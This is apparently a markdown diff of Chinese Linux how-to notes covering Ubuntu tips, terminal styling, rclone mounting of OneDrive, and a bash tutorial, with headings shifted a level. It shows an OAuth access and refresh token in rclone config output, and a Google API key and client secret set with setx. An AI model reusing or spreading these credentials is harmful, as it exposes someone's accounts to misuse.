@ -86,7 +86,7 @@ echo "Finished."
```
## 疑难排解
### 疑难排解
```
#!/bin/bash
@ -112,7 +112,7 @@ fi
```
### 测试
#### 测试
早发布,常发布:如果在开发周期的早期发现 bug那么这些 bug 就越容易定位,而且越能低成本 的修复。比喻上述删除文件的操作非常危险,所以我们可以先这样进行测试,打印出要执行的语句就行:
@ -132,19 +132,19 @@ exit # TESTING
```
### 测试案例
#### 测试案例
通过谨慎地选择输入数据或者运行边缘案例和极端案例来完成测试。比喻上述脚本,我们要测试:
1. dir_name 包含一个已经存在的目录的名字1. dir_name 包含一个不存在的目录的名字1. dir_name 为空
### 调试
#### 调试
一个设计良好的脚本会对查找错误有帮助。设计良好的脚本应该具备防卫能力, 能够监测异常条件,并能为用户提供有用的反馈信息。
### 找到问题区域
#### 找到问题区域
隔离脚本中与出现的问题相关的代码区域对查找问题很有帮助。 隔离的代码区域并不总是真正的错误所在,但是隔离往往可以深入了解实际的错误原因。
### 追踪
#### 追踪
添加提示信息追踪代码片段。把提示信息输出到标准错误输出让其从标准输出中分离出来。bash 还提供了一种名为追踪的方法,这种方法可通过 -x 选项和 set 命令加上 -x 选项两种途径实现。

View File

@ -3,15 +3,15 @@
# Ubuntu使用日常
# Ubuntu使用日常
## Ubuntu使用日常
>
记录使用`Ubuntu`过程中遇到的问题,总结一些常用工具,归纳一些小技巧。本文永久更新地址:[Ubuntu.md](https://github.com/ds-ebooks/test/blob/master/Ubuntu.md)
### 文章目录
#### 文章目录
## 1、redshift色温调节工具
### 1、redshift色温调节工具
安装
@ -55,608 +55,5 @@ gamma=0.8
;gamma-day=0.8:0.7:0.8
;gamma-night=0.6
; Set the location-provider: 'geoclue', 'geoclue2', 'manual'
; type 'redshift -l list' to see possible values.
; The location provider settings are in a different section.
location-provider=manual
; Set the adjustment-method: 'randr', 'vidmode'
; type 'redshift -m list' to see all possible values.
; 'randr' is the preferred method, 'vidmode' is an older API.
; but works in some cases when 'randr' does not.
; The adjustment method settings are in a different section.
adjustment-method=randr
; Configuration of the location-provider:
; type 'redshift -l PROVIDER:help' to see the settings.
; ex: 'redshift -l manual:help'
; Keep in mind that longitudes west of Greenwich (e.g. the Americas)
; are negative numbers.
[manual]
lat=36.10
lon=103.80
; Configuration of the adjustment-method
; type 'redshift -m METHOD:help' to see the settings.
; ex: 'redshift -m randr:help'
; In this example, randr is configured to adjust screen 1.
; Note that the numbering starts from 0, so this is actually the
; second screen. If this option is not specified, Redshift will try
; to adjust _all_ screens.
; [randr]
; screen=1
; Set the location-provider: 'geoclue', 'geoclue2',
```
## 2、无道词典
环境
```
sudo apt-get install python3
sudo apt-get install python3-pip
sudo pip3 install bs4
sudo pip3 install lxml
```
安装
```
git clone https://github.com/chestnutheng/wudao-dict
cd ./wudao-dict/wudao-dict
sudo bash setup.sh #或者sudo ./setup.sh
```
## 3、pip指向问题
第一次安装pip
```
sudo apt-get install python-pip python-dev build-essential
sudo pip install --upgrade pip
sudo pip install --upgrade virtualenv
sudo apt-get install python-setuptools python-dev build-essential
```
安装分别pip
```
sudo apt-get install python3-pip
sudo apt-get install python-pip
```
指向问题<br/> 编辑这三个文件,将第一行注释分别改为`python\python2\python3`
```
~ $which pip
/usr/local/bin/pip
21:36 alien@alien-Inspiron-3443:
~ $which pip2
/usr/local/bin/pip2
21:36 alien@alien-Inspiron-3443:
~ $which pip3
/usr/local/bin/pip3
```
改好之后便升级pip
```
sudo pip3 install --upgrade pip
sudo pip2 install --upgrade pip
sudo pip install --upgrade pip
```
## 4、更换pip源
pip国内的一些镜像,换源之后出现python2版本过低的情况导致以前的包下载不了那就直接将文件夹删除就行。
linux:
```
cat &gt; ~/.pip/pip.conf
[global]
index-url = https://pypi.tuna.tsinghua.edu.cn/simple
```
windows:
>
直接在user目录中创建一个pip目录C:\Users\xx\pip新建文件pip.ini内容如下
```
[global]
index-url = https://pypi.tuna.tsinghua.edu.cn/simple
```
另外npmyarn也可以通过换源提高速度网上很多教程稍微提一下。
## 5、GitHub源
```
sudo gedit /etc/hosts
219.76.4.4 github-cloud.s3.amazonaws.com
151.101.72.249 http://global-ssl.fastly.Net
192.30.253.112 http://github.com
```
## 6、查看Linux本地IP地址
```
ifconfig -a
inet addr:172.18.166.207 Bcast:172.18.166.255 Mask:255.255.255.0
```
## 7、ubuntu本地开启微型服务器
```
python -m SimpleHTTPServer 8888 #Python2
python -m http.server #python3
```
之后可以通过ip:端口远程访问本地主机文件。<br/> 传输文件
## 8、ECS与本地主机互传文件
通过`ssh`协议实现:
```
scp ~/cert/* root@47.107.129.219:/usr/local/nginx/cert
scp root@47.107.129.219:/usr/local/nginx/cert ~/cert/*
```
## 9、小书匠和Evernote
小书匠基础模板:
```
---
title: 2018-10-27未命名文件
tags: tag1,tag2
grammar_cjkRuby: true
---
[Edit](http://markdown.xiaoshujiang.com/)
```
```
脚注[^1x]
[^1x]: 脚注用法测试
```
## 10、Windows 中 Chromium 缺少 Google API 密钥
在`CMD`中执行:
```
setx GOOGLE_API_KEY AIzaSyCkfPOPZXDKNn8hhgu3JrA62wIgC93d44k
setx GOOGLE_DEFAULT_CLIENT_ID 811574891467.apps.googleusercontent.com
setx GOOGLE_DEFAULT_CLIENT_SECRET kdloedMFGdGla2P1zacGjAQh
```
## 11、博客音乐外链
[音乐外链播放器推荐](https://perpeht.com/2017/12/%E4%BC%98%E7%A7%80%E9%9F%B3%E4%B9%90%E5%A4%96%E9%93%BE%E6%92%AD%E6%94%BE%E5%99%A8%E6%8E%A8%E8%8D%90/)
## 12、Debian/Ubuntu中管理多版本Node.js
安装nvm:
```
git clone https://github.com/creationix/nvm.git ~/.nvm
cd ~/.nvm
git checkout `git describe --abbrev=0 --tags`
```
激活nvm:
```
. ~/.nvm/nvm.sh
```
登录后自动激活nvm在`~/.bashrc`加
```
export NVM_DIR=~/.nvm
[ -s "$NVM_DIR/nvm.sh" ] &amp;&amp; . "$NVM_DIR/nvm.sh"
[ -r $NVM_DIR/bash_completion ] &amp;&amp; . $NVM_DIR/bash_completion
```
卸载node和nvm
```
rm -rf ~/.nvm
```
## 13、虚拟终端Ctrl+Alt+F1下显示菱形中文乱码
系统全用英文吧:
```
sudo gedit /etc/default/locale
```
将内容改为:
```
LANG="en_US.UTF-8"
LANGUAGE="en_US:en"
```
再运行:
```
sudo locale-gen
```
然后重启`reboot`会提示是否将文件夹改成英文的此时选择“Update…”即可。
## 14、彻底卸载mysql重新安装
1.命令apt-get删除mysql
```
sudo apt-get remove --purge mysql-\*
```
2.手动删除mysql剩余文件<br/> 执行命令
```
sudo find / -name mysql -print
```
会显示出所有的含有mysql文件名的路径如下
```
/var/lib/mysql
/var/lib/mysql/mysql
/var/log/mysql
/usr/bin/mysql
/usr/lib/mysql
/usr/share/mysql
/etc/mysql
/etc/init.d/mysql
```
都删除掉
3.重新安装
```
sudo apt-get install mysql-server mysql-client
```
如果报错执行下面命令再安装
```
sudo apt-get remove --purge mysql-\*
sudo apt-get install mysql-server mysql-client
```
## 15、MySQL5.7设置utf8编码格式
[查看博文](https://blog.csdn.net/qq_32144341/article/details/51318390)
## 16、WIndows的Linux子系统
[查看博文](http://csuncle.com/2017/08/08/Windows-linux%E5%AD%90%E7%B3%BB%E7%BB%9F-%E5%85%A5%E9%97%A8%E5%88%B0GUI/)
## 17、文件管理器左侧快捷方式管理
```
sudo gedit ~/.config/user-dirs.dirs
# 默认的内容是文档,图片,下载等目录
# This file is written by xdg-user-dirs-update
# If you want to change or add directories, just edit the line you're
# interested in. All local changes will be retained on the next run
# Format is XDG_xxx_DIR="$HOME/yyy", where yyy is a shell-escaped
# homedir-relative path, or XDG_xxx_DIR="/yyy", where /yyy is an
# absolute path. No other format is supported.
#
XDG_DESKTOP_DIR="$HOME/Desktop"
XDG_DOWNLOAD_DIR="$HOME/Downloads"
XDG_TEMPLATES_DIR="$HOME/Templates"
XDG_PUBLICSHARE_DIR="$HOME/Public"
XDG_DOCUMENTS_DIR="$HOME/Documents"
XDG_MUSIC_DIR="$HOME/Music"
XDG_PICTURES_DIR="$HOME/Pictures"
XDG_VIDEOS_DIR="$HOME/Videos"
# 再创建一个文件,直接执行:
echo”enabled = false“&gt;〜/ .config / user-dirs.conf
```
## 18、访问磁盘
```
sudo apt-get install ntfs-3g
# 修复不能访问的磁盘
sudo ntfsfix /dev/sda6
```
## 19、Grub启动图形界面美化
[查看博文](https://tianyijian.github.io/2018/04/05/ubuntu-grub-beautify/)<br/> 更新Grub:
```
sudo update-grub
sudo grub-install /dev/sda
```
## 20、开机自启动
以`plank`为例
```
sudo ln -s /usr/share/applications/plank.desktop /etc/xdg/autostart/
```
## 21、Pycharm汉化
[JetBrains 系列软件汉化包](https://github.com/pingfangx/TranslatorX)
## 22、Notepad++配置
[查看博文](https://www.jianshu.com/p/3088175e5f78)
## 23、Windows10 Python配置
[查看博文](https://blog.csdn.net/qiang12qiang12/article/details/53239866)
## 24、MAC OS 主题
```
sudo apt-get install unity-tweak-tool
sudo add-apt-repository ppa:noobslab/macbuntu
sudo apt-get update
sudo apt-get install macbuntu-os-icons-lts-v7
sudo apt-get install macbuntu-os-ithemes-lts-v7
cd &amp;&amp; wget -O Mac.po http://drive.noobslab.com/data/Mac/change-name-on-panel/mac.po
cd /usr/share/locale/en/LC_MESSAGES; sudo msgfmt -o unity.mo ~/Mac.po;rm ~/Mac.po;cd
wget -O launcher_bfb.png http://drive.noobslab.com/data/Mac/launcher-logo/apple/launcher_bfb.png
sudo mv launcher_bfb.png /usr/share/unity/icons/
gsettings set com.canonical.unity-greeter draw-grid false;exit
sudo add-apt-repository ppa:noobslab/themes
sudo apt-get update
sudo apt-get install macbuntu-os-bscreen-lts-v7
```
## 25、垃圾清理
```
sudo apt-get autoclean 清理旧版本的软件缓存
sudo apt-get clean 清理所有软件缓存
sudo apt-get autoremove 删除系统不再使用的孤立软件
sudo apt-get install gtkorphan -y清理Linux下孤立的包
sudo apt-get remove tracker
```
## 26、暴力关机导致蓝屏问题
```
sudo dpkg --configure -a
sudo apt-get install xserver-xorg-lts-utopic
sudo dpkg-reconfigure xserver-xorg-lts-utopic
reboot
```
## 27、mentohust联网
下载地址:[http://c7.gg/aCFu4](http://c7.gg/aCFu4)
```
sudo apt-get install mentohust
sudo mentohust -k
sudo mentohust -uusername -p123456 -a1 -d2 -b2 -v4.10 -w
```
## 28、彻底卸载Firefox
```
dpkg --get-selections |grep firefox
sudo apt-get purge firefox
sudo apt-get purge firefox-locale-en
sudo apt-get purge firefox-locale-zh-hans
sudo apt-get purge unity-scope-firefoxbookmarks
```
## 29、安装chromium
```
sudo add-apt-repository ppa:a-v-shkop/chromium
sudo apt-get update
sudo apt-get install chromium-browser
```
## 30、终端图片显示工具
```
sudo apt-get install aview
```
```
asciiview elephant.jpg -driver curses
```
## 31、经典菜单指示器
[ClassicMenu Indicator](http://www.florian-diesch.de/software/classicmenu-indicator/#download)
## 32、文件编码转换
安装`enca、iconv`:
```
sudo apt-get enca iconv
```
```
#enca查看文件编码
enca filename
#iconv将一个GBK编码的文件转换成UTF-8编码
enconv -L zh_CN -x UTF-8 filename
```
## 33、字符串logo工具
1. 安装:
```
sudo apt-get install figlet
```
1. 用法:
```
figlet JupyterLab
```
## 34、百度网盘相关
## 35、类似`QQ`的截图工具
>
弃用`deepin-scrot`,请更新为[`deepin-screenshot`](https://pkgs.org/download/deepin-screenshot)
```
wget http://packages.linuxdeepin.com/deepin/pool/main/d/deepin-scrot/deepin-scrot_2.0-0deepin_all.deb
sudo dpkg -i deepin-scrot_2.0-0deepin_all.deb
# 修复依赖问题
sudo apt install -f
rm deepin-scrot_2.0-0deepin_all.deb
```
然后去`系统设置-键盘-快捷键-自定义快捷键`,之后就可以体验`QQ`那样的截图方式了。
当然`shutter`也很优秀,不过我更喜欢`deepin-scrot`
```
sudo apt-get install shutter
```
## 36、`dot`画图
```
sudo apt install graphviz
```
```
graph demo{
1 -- 2
2 -- 3
3 -- 4
1 -- 4
}
```
```
dot demo.dot -Tpng -o demo.png
```
## 37、`htop`进程管理工具
可以查看后台进程`PID`,方便`kill`进程.
```
sudo apt install htop
```
## 38、`fuck`终端工具
*[thefuck](https://github.com/nvbn/thefuck)
```
sudo pip3 install thefuck
```
## 39、查看电脑完整配置
```
lshw
```
## 40、标题栏实时显示上下行网速
下载安装运行`indicator-sysmonito`
```
sudo apt-get install python3-psutil curl git gir1.2-appindicator3-0.1
git clone https://github.com/fossfreedom/indicator-sysmonitor.git
cd indicator-sysmonitor
sudo make install
nohup indicator-sysmonitor &amp;
```
## 41、万能解压工具`unar`
>
通杀`7z zip tar rar gz`等等
```
sudo apt-get install unar
```
## 42、安装`aira2`及开机启动配置

View File

@ -3,9 +3,9 @@
# Ubuntu终端美化
## 终端美化
### 终端美化
### 终端样式
#### 终端样式
`sudo gedit ~/.bashrc`
@ -18,7 +18,7 @@ PS1="\[\e[0;1m\]┌─( \[\e[31;1m\]\u\[\e[0;1m\] ) ( \[\e[36;1m\]\w\[\e[0;1
```
### Termina
#### Termina
`sudo apt-get install terminator`

View File

@ -7,9 +7,9 @@
本文最新更新地址:[可能需要f…q](https://telegra.ph/Windows%E4%B8%8B%E7%94%A8rclone%E6%8C%82%E8%BD%BDOneDrive%E4%B8%BA%E6%9C%AC%E5%9C%B0%E7%A1%AC%E7%9B%98-01-03)
### 文章目录
#### 文章目录
## 1、rclone下载地址
### 1、rclone下载地址
官网下载:[https://rclone.org/downloads/](https://rclone.org/downloads/)
@ -19,15 +19,15 @@
另外Windows使用rclone还需要另一个依赖工具`winfsp`,下载地址:[http://www.secfs.net/winfsp/download/](http://www.secfs.net/winfsp/download/)
## 2、配置环境变量
### 2、配置环境变量
<img alt="在这里插入图片描述" src="https://img-blog.csdnimg.cn/20181214195631596.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2RzMTk5OTE5OTk=,size_16,color_FFFFFF,t_70"/><br/> 双击`Path`,把刚才解压到的文件路径新加到`Path`,比喻我的`C:\Software\Tools\rclone-v1.45-windows-amd64`
## 3、检查rclone是否配置成功
### 3、检查rclone是否配置成功
按`win`+`X`,然后按`A`,输入`rclone --version`,如果出现下面的输出则安装成功,否则重复上面步骤。
## 4、开始配置rclone
### 4、开始配置rclone
```
C:\WINDOWS\system32&gt;rclone config
@ -36,175 +36,5 @@ No remotes found - make a new one
n) New remote
s) Set configuration password
q) Quit config
n/s/q&gt; n
name&gt; OneDrive
Type of storage to configure.
Enter a string value. Press Enter for the default ("").
Choose a number from below, or type in your own value
1 / A stackable unification remote, which can appear to merge the contents of several remotes
\ "union"
2 / Alias for a existing remote
\ "alias"
3 / Amazon Drive
\ "amazon cloud drive"
4 / Amazon S3 Compliant Storage Providers (AWS, Ceph, Dreamhost, IBM COS, Minio)
\ "s3"
5 / Backblaze B2
\ "b2"
6 / Box
\ "box"
7 / Cache a remote
\ "cache"
8 / Dropbox
\ "dropbox"
9 / Encrypt/Decrypt a remote
\ "crypt"
10 / FTP Connection
\ "ftp"
11 / Google Cloud Storage (this is not Google Drive)
\ "google cloud storage"
12 / Google Drive
\ "drive"
13 / Hubic
\ "hubic"
14 / JottaCloud
\ "jottacloud"
15 / Local Disk
\ "local"
16 / Mega
\ "mega"
17 / Microsoft Azure Blob Storage
\ "azureblob"
18 / Microsoft OneDrive
\ "onedrive"
19 / OpenDrive
\ "opendrive"
20 / Openstack Swift (Rackspace Cloud Files, Memset Memstore, OVH)
\ "swift"
21 / Pcloud
\ "pcloud"
22 / QingCloud Object Storage
\ "qingstor"
23 / SSH/SFTP Connection
\ "sftp"
24 / Webdav
\ "webdav"
25 / Yandex Disk
\ "yandex"
26 / http Connection
\ "http"
Storage&gt; 18
** See help for onedrive backend at: https://rclone.org/onedrive/ **
Microsoft App Client Id
Leave blank normally.
Enter a string value. Press Enter for the default ("").
client_id&gt;
Microsoft App Client Secret
Leave blank normally.
Enter a string value. Press Enter for the default ("").
client_secret&gt;
Edit advanced config? (y/n)
y) Yes
n) No
y/n&gt; n
Remote config
Use auto config?
* Say Y if not sure
* Say N if you are working on a remote or headless machine
y) Yes
n) No
y/n&gt; y
If your browser doesn't open automatically go to the following link: http://127.0.0.1:53682/auth
Log in and authorize rclone for access
Waiting for code...
n/s/q
```
此时会浏览器会弹出登录Microsoft账号页面输入账号密码登陆点`是`
如果授权成功的话浏览器会出现这个页面
此时终端会提示你继续操作像这样:
因为我是拿个人账号写教程的,所以就选`1`
```
If your browser doesn't open automatically go to the following link: http://127.0.0.1:53682/auth
Log in and authorize rclone for access
Waiting for code...
Got code
Choose a number from below, or type in an existing value
1 / OneDrive Personal or Business
\ "onedrive"
2 / Root Sharepoint site
\ "sharepoint"
3 / Type in driveID
\ "driveid"
4 / Type in SiteID
\ "siteid"
5 / Search a Sharepoint site
\ "search"
Your choice&gt; 1
Found 1 drives, please select the one you want to use:
0: (personal) id=28acee48ba0a80c9
Chose drive to use:&gt; 0
Found drive 'root' of type 'personal', URL: https://onedrive.live.com/?cid=28acee48ba0a80c9
Is that okay?
y) Yes
n) No
y/n&gt; y
--------------------
[OneDrive]
type = onedrive
token = {"access_token":"EwB4A8l74t6GzbtsBBeBUYAAZr+nsbvDJvpTZnIGTclACszh9PmiR6klQruRt9oBU5AD5ReAZLULrKBbFjgQzmUJHTW1Qg9EI2zCoj+/XMlp4M0V2sraXxwnDZvP/xHtLgMGIF3PLOjlSU0Thh3KCdA4/RIkAALoI7x5ycwXQLuBJ+D/iX3QwJFhVO4or7ogiaVUF0I3oF/A7dOEBJljUwHnBhYeyjOEpCRtoOXIrKl08afJbKtjVDXricLu4aXAIfBYibI7wffxQNxC2AWb5Z6TQ6BQUpUVs2Q48MUYCsDRshbyNhWxZOVlhtjOr3jRGVfDBb6iPuglwVaozSF68RRQbxc+L3QZ7aC4DZgAACLr0PZo0+g2xSAJr0YPcN9jCXJJvW9rHx9mt39W0nLlOUDzHTgi9mNNeAQmxfhFwlMxOr23MMW+Ux2fv7lg1uVdPdMsqsqsqq sqqsSIPsRlNSD66FN/YwFHJ58NVZif+2CO38vFMgA5OCR0xV/AZ3OP4qhLt6eCGR4/AZ2L99UltF7pSNIGP6gkgdlyurEdsLZa/KhApGapSGNyKhhR9Eiwhdbnfksn5flspsFkjWEbu4IJ7I8v7SpNXvTcIErhc4fIR3Kdk+55owCbtpGjzU435RmTZDs0LqU09DLAobhPXAB0MiansnU5vsrlLvudbYm5n9To549gTkPfwCBCjPkr+Xlk8jeJ2prlDyksaXlX0EdukBbA+x0FBaEHmaxExK7w19DjmXXj8MCs1RF3dawbegyLwSnq2+V9M/sqUxVO4uHG+Pw1Bds7L+ysAM+Tcu9BBb7t8/XEpaHzYF5XO8Q9pCOhhcUO8fsI8aA1aupBSbVf0W/AyKsrasUTZiYLgFsz6lYDgF0t5XyD/YGmTHwgutPW32HfjlQ4Nd8g+be+Lllmyyywve28Ynyy7ZitKJkQ4OKRWcBwYyOikJNvG/RZYUXEy6XJtyDJqyaEwE7PVriEPGzPtmT49hixjamUbM42/UTMPxIKTFSJUpQwMgkzQU6hgqo6gPRrbC8XSR5qquRdvcSgfDTs+FaUgssCsxExPzUKqGFYitI9Wh16MjhteeUfLVOruJapGcSRgOOXmwE76qf+bSfN80jrZ+mIH0C","token_type":"Bearer","refresh_token":"MCdzaJTxbvjx0gqccalX3SwZ84Q1D*Hoc2plXP2lNLLyYXeseIDzIzXF9GSKcl35vabYNK1PlNbHkn7zJULI6TEHJkvsMj3vMGG9xODHnZhhoD6r74yYxBC9G72RhIwo2n*qA!rvP7yhGShwH8RC1DxmMhUtmfBO2kpXvkAONhNG8nN9zWaGQDpCIu2!rLrpqH0Bi0amMocXotNGEFHrASLP583x2fpX5Da3VY*AFM18uIpsvg7i0aTj*02e1fAplBUmMzDoo8gd*xqZYYe7eQWaAv1SYuMBFw5TsdYONN5y!ewQcrv9*hhxoLI8xK7VY8VSwG8!9e21N6yLYFFHsTYZMMUOcF0LFEJmo1b29xRkShfuXXk6mxajTCn3IUbOKKP9EW","expiry":"2018-12-14T19:12:44.8939629+08:00"}
drive_id = 28acce58ba0a81c9
drive_type = personal
--------------------
y) Yes this is OK
e) Edit this remote
d) Delete this remote
y/e/d&gt; y
Current remotes:
Name Type
==== ====
OneDrive onedrive
e) Edit existing remote
n) New remote
d) Delete remote
r) Rename remote
c) Copy remote
s) Set configuration password
q) Quit config
e/n/d/r/c/s/q&gt;
```
到这里已经把`OneDrive`配置好了,选择`q`结束配置,
>
注:配置文件在当前用户家目录
## 5、挂载OneDrive为本地硬盘
```
rclone mount OneDrive:/ H: --cache-dir E:\OneDrive --vfs-cache-mode writes &amp;
```
如果出现:`The service rclone has been started.`则说明挂载成功(看到我很可怜了吧只有15G的空间求大佬送号?)。
效果图:
好了,就是这样,更多`rclone`相关的知识自行`Google`。
>
最后说一点,执行上面这条命令退出终端后台挂载程序也会退出,达不到我们的目的,所以在命令后面加一个`&amp;`符号就行了,这样退出终端后台程序照样运行,像这样:
其他盘如`GoogleDrive`、`DropBox`等等也可以通过这种方式挂载,这样使得云端文件就像本地文件一样,只要你宽带够大,可以与本地硬盘一样无差别体验。
## 补充

View File

@ -3,9 +3,9 @@
# shell学习
### 文章目录
#### 文章目录
## 一、什么是 shell
### 一、什么是 shell
“bash” 是 “Bourne Again SHell” 的首字母缩写, 所指的是这样一个事实bash 是最初 Unix 上由 Steve Bourne 写成 shell 程序 sh 的增强版。能够访问Shell的终端仿真器称为“terminal”。
@ -13,7 +13,7 @@
许多 Linux 发行版默认保存最后输入的`500`个命令。 按下下箭头按键,先前输入的命令就消失了。鼠标中键拷贝高亮的文本到光标所在的位置。
### 简单命令
#### 简单命令
`date;cal;df;free;exit`
@ -47,11 +47,11 @@ alien@localhost:~$ exit
```
### 幕后控制台
#### 幕后控制台
即使终端仿真器没有运行,在后台仍然有几个终端会话运行着。它们叫做虚拟终端 或者是虚拟控制台。在大多数 `Linux` 发行版中,这些终端会话都可以通过按下 `Ctrl-Alt-F1 到 Ctrl-Alt-F6` 访问。当一个会话被访问的时候, 它会显示登录提示框,我们需要输入用户名和密码。要从一个虚拟控制台转换到另一个, 按下 Alt 和 F1-F6(中的一个)。返回图形桌面,按下 `Alt-F7`
## 二、文件系统中的跳转
### 二、文件系统中的跳转
```
pwd - Print name of current working directory
@ -62,7 +62,7 @@ ls - List directory contents
当我们首次登录系统(或者启动终端仿真器会话)后,当前工作目录是我们的家目录。 每个用户都有他自己的家目录,当用户以普通用户的身份操控系统时,家目录是唯一 允许用户写入文件的地方。
### 绝对路径
#### 绝对路径
绝对路径开始于根目录,紧跟着目录树的一个个分支,一直到达所期望的目录或文件。
@ -73,7 +73,7 @@ alien@localhost:/usr/bin$ pwd
```
### 相对路径
#### 相对路径
相对路径开始于工作目录,, 我们在文件系统树中用一对特殊符号来表示相对位置。 这对特殊符号是 “.” (点) 和 “…” (点点)。符号 “.” 指的是**工作目录**,”…” 指的是**工作目录的父目录**。在几乎所有的情况下,你可以省略”./”。它是隐含的。
@ -85,7 +85,7 @@ alien@localhost:/usr/bin$ pwd
`ls -a` 命令可以列出以 “.” 字符开头的隐藏文件,一些应用程序会把它们的配置文件以隐藏文件的形式放在你的家目录下面,**文件名和命令名是大小写敏感的**。
## 三、探究操作系统
### 三、探究操作系统
```
ls List directory contents
@ -94,7 +94,7 @@ less View file contents
```
### ls
#### ls
ls 可以列出多个目录:
@ -128,7 +128,7 @@ $ ls -lt --reverse
```
### 长格式输出
#### 长格式输出
```
alien@localhost:~$ ls -l
@ -160,7 +160,7 @@ drwxr-xr-x 5 alien alien 4096 9月 17 08:10 桌面
|11月 29 2017|上次修改文件的时间和日期。
|examples.desktop|文件名。
### 确定文件类型
#### 确定文件类型
```
file filename
@ -169,7 +169,7 @@ file filename
Linux 中,有个普遍的观念就是“一切皆文件”。
### 用 less 浏览文件内容
#### 用 less 浏览文件内容
许多包含系统设置的文件(叫做配置文件),是以文本格式存储的,实际程序(叫做脚本)也是以这种格式存储的。
@ -195,11 +195,11 @@ less filename
|h|显示帮助屏幕
|q|退出 less 程序
### less is more(色即是空)
#### less is more(色即是空)
less 属于”页面调度器”类程序,这些程序允许以**逐页方式**轻松浏览长文本文档。 **more 程序只能向前翻页**,而 less 程序允许前后翻页,此外还有很多其它的特性。
### Linux 系统中的目录
#### Linux 系统中的目录
|目录|评论
|------
@ -228,7 +228,7 @@ less 属于”页面调度器”类程序,这些程序允许以**逐页方式*
|/var|除了/tmp 和/home 目录之外,相对来说,目前我们看到的目录是静态的,这是说, 它们的内容不会改变。/var 目录存放的是动态文件。各种数据库,假脱机文件, 用户邮件等等,都位于在这里。
|/var/log|这个/var/log 目录包含日志文件、各种系统活动的记录。这些文件非常重要,并且 应该时时监测它们。其中最重要的一个文件是/var/log/messages。注意为了系统安全在一些系统中 你必须是超级用户才能查看这些日志文件。
### 符号链接(软链接)----与Windows一样
#### 符号链接(软链接)----与Windows一样
```
lrwxrwxrwx 1 root root 11 2007-08-11 07:34 libc.so.6 -&gt; libc-2.6.so
@ -237,9 +237,9 @@ lrwxrwxrwx 1 root root 11 2007-08-11 07:34 libc.so.6 -&gt; libc-2.6.so
“l”是符号链接也称为**软链接**或者 symlink ),一个文件被多个文件名所指向,即多个拥有不同文件名的软链接指向同一个文件。上面`libc.so.6`是`libc-2.6.so`的软链接。
### 硬链接
#### 硬链接
## 四、操作文件和目录
### 四、操作文件和目录
```
cp — 复制文件和目录
@ -252,7 +252,7 @@ ln — 创建硬链接和符号链接
命令行程序,功能强大灵活,对于 复杂的文件操作任务,使用命令行程序比较容易完成。
### 通配符
#### 通配符
|通配符|意义
|------
@ -288,9 +288,9 @@ ln — 创建硬链接和符号链接
避免使用[A-Z]或 [a-z],用[字符](#%E9%80%9A%E9%85%8D%E7%AC%A6)类来代替它们。
### mkdir - 创建目录
#### mkdir - 创建目录
### cp - 复制文件和目录
#### cp - 复制文件和目录
```
cp item... directory
@ -317,7 +317,7 @@ cp item... directory
<td align="center">`cp dir1/* dir2`</td>|使用一个通配符,在目录 dir1 中的所有文件都被复制到目录 dir2 中。 dir2 必须已经存在。
<td align="center">`cp -r dir1 dir2`</td>|复制目录 dir1 中的内容到目录 dir2。如果目录 dir2 不存在, 创建目录 dir2操作完成后目录 dir2 中的内容和 dir1 中的一样。 如果目录 dir2 存在,则目录 dir1 (和目录中的内容)将会被复制到 dir2 中。
### mv - 移动和重命名文件
#### mv - 移动和重命名文件
与[cp](#cp - 复制文件和目录)基本一样.
@ -341,7 +341,7 @@ mv item... directory
|mv file1 file2 dir1|移动 file1 和 file2 到目录 dir1 中。dir1 必须已经存在。
|mv dir1 dir2|如果目录 dir2 不存在,创建目录 dir2并且移动目录 dir1 的内容到 目录 dir2 中,同时删除目录 dir1。如果目录 dir2 存在,移动目录 dir1及它的内容到目录 dir2。
### rm - 删除文件和目录
#### rm - 删除文件和目录
```
rm item...
@ -366,7 +366,7 @@ rm item...
一般我们可以先用`ls`测试一下要删除的文件,再进行删除操作,防止误删。
### ln — 创建链接
#### ln — 创建链接
ln 命令既可创建硬链接,也可以创建符号链接(软链接)。
@ -378,7 +378,7 @@ ln -s item link
```
## 五、使用命令
### 五、使用命令
```
type 说明怎样解释一个命令名
@ -393,9 +393,9 @@ alias 创建命令别名
命令:可执行程序、内建于 shell 自身的命令、 shell 函数、命令别名
### 识别命令
#### 识别命令
### 使用命令文档
#### 使用命令文档
```
alien@localhost:~$ help cd
@ -468,7 +468,7 @@ info 程序读取 info 文件info 文件是树型结构,分化为各个结
gzip 软件包包括一个特殊的 less 版本,叫做 **zlesszless 可以显示由 gzip 压缩的文本文件的内容**
### 用别名alias创建你自己的命令
#### 用别名alias创建你自己的命令
>
tips:把多个命令放在同一行上,命令之间 用”;”分开。`command1; command2; command3...`
@ -511,7 +511,7 @@ bash: type: foo: 未找到
在命令行中定义别名有点儿小问题。当你的 shell 会话结束时,它们会消失,后面会介绍怎样把自己的别名添加到文件中去,每次我们登录系统,这些文件会建立系统环境。
## 六、重定向 “&gt;” “&lt;
### 六、重定向 “&gt;” “&lt;
I/O 重定向。”I/O”代表输入/输出, 通过这个工具,你可以重定向命令的输入输出,命令的输入来自文件,而输出也存到文件。 也可以把多个命令连接起来组成一个强大的命令管道。
@ -548,7 +548,7 @@ lrwxrwxrwx 1 root root 8 11月 24 2017 2to3 -&gt; 2to3-2.7
tips`&gt; ls-output.txt`清空文件内容
### 重定向标准输出和错误到同一个文件
#### 重定向标准输出和错误到同一个文件
一个程序可以在几个编号的文件流中的任一个上产生输出。这些文件流的前 三个称作标准输入、输出和错误shell 内部分别将其称为文件描述符0、1和2。
@ -568,7 +568,7 @@ ls: 无法访问'/bin/usr': 没有那个文件或目录
现在的`bash`版本提供了一种新方法`&amp;&gt;``ls -l /bin/usr &amp;&gt; ls-output.txt`
### 处理不需要的输出
#### 处理不需要的输出
隐瞒命令错误信息,我们这样做:
@ -580,7 +580,7 @@ alien@localhost:~$
其中`/dev/null`的特殊文件, 是系统设备,叫做**位存储桶**,它可以接受输入,并且对输入不做任何处理。
### 标准输入重定向
#### 标准输入重定向
**cat 命令读取一个或多个文件,然后复制它们到标准输出。**
@ -602,7 +602,7 @@ The quick brown fox jumped over the lazy dog.
```
### 管道线`|`
#### 管道线`|`
`command1 | command2`一个命令的标准输出可以通过管道送至另一个命令的标准输入:`$ ls -l /usr/bin | less`
@ -628,7 +628,7 @@ uniq 从标准输入或单个文件名参数接受数据有序列表默认情况
如果想看到重复的数据列表,加上”-d”选项就像这样`ls /bin /usr/bin | sort | uniq -d | less`
### `wc--grep--head--tail--tee`
#### `wc--grep--head--tail--tee`
